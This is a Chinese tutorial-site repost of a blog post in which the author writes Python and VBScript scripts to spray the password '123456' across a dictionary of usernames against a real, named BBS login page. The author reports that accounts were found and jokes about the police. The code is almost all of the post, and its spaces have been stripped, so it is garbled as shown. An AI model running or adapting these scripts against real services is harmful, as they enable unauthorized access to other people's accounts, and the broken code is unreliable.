zl程序教程

您现在的位置是:首页 >  后端

当前栏目

Python牛刀小试密码爆破

2023-06-13 09:14:26 时间
难道真的要我破解一个么?算了,正好试试我的Python水平。
python版
复制代码代码如下:

#coding:gbk
importhttplib,urllib

defCheck(username,password):
params=urllib.urlencode(
{"userid":username,"passwd":password})
headers={"Content-type":
"application/x-www-form-urlencoded"}
conn=httplib.HTTPSConnection("www.bdwm.net")
conn.request("POST",
"/bbs/bbslog2.php",params,headers)
res=conn.getresponse().read()
conn.close()
ifres.find("密码不正确")!=-1:
returnFalse
elifres.find("不存在这个用户")!=-1:
returnFalse
else:
returnTrue

foriinopen("English.Dic"):
ifCheck(i.rstrip(),"123456"):
printi

顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?
复制代码代码如下:

Dimfso
Setfso=CreateObject("scripting.filesystemobject")
Withfso.OpenTextFile("English.Dic",1)
DoUntil.AtEndOfStream
id=.ReadLine
IfCheck(id,"123456")Then
WScript.Echoid&vbTab&"OK"
EndIf
Loop
EndWith

FunctionCheck(username,password)
Dimhttp
Sethttp=CreateObject("Msxml2.XMLHTTP")
http.open_
"POST","https://www.bdwm.net/bbs/bbslog2.php",False
http.setRequestHeader_
"Content-Type","application/x-www-form-urlencoded"
http.send"userid="&username&"&passwd="&password
response=AnsiToUnicode(http.responseBody)
IfInStr(response,"密码不正确")Then
Check=False
ElseIfInStr(response,"不存在这个用户")Then
Check=False
Else
Check=True
EndIf
EndFunction

FunctionAnsiToUnicode(str)
Dimado
Setado=CreateObject("adodb.stream")
ado.Type=1
ado.Open
ado.Writestr
ado.Position=0
ado.Type=2
ado.Charset="gb2312"
AnsiToUnicode=ado.ReadText
EndFunction

事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html